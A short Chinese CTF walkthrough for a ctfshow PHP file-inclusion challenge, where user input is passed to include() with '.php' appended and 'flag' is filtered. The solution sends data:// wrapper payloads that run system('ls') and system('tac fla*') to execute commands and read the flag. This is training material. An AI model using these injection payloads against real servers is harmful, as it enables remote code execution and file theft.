信息收集
题目发生了微妙的变化,只过滤flag,include后固定跟上了.php。且没有了echo $flag;,虽说本来就没什么用
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
解题
更多解法参考[ctfshow web入门] web37
虽然题目变了,但是解法还是没变,这里只选最简单的一种
你问我为什么没变?
之前有提到过,php中.可以用于字符串的拼接,例如 'ab'.'cd' = 'abcd'
我们传的是标签啊,.php在标签外面,被当做普通文本直接打印出来了
include("data://text/plain,<?= system("tac fla*") ?>.php")
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>
或
?c=data://text/plain,<?= system("tac ?lag.p?p") ?>

那么细心的小伙伴就会问了,这个多出来的.php到底有什么影响。.php被拼到最后面去了

web38 目录 web40






![[定位器]晶艺LA1823,4.5V~100V, 3.5A,替换MP9487,MP9486A,启烨科技](https://i-blog.csdnimg.cn/direct/5451804f83b24e369b61fa9338a82100.png)












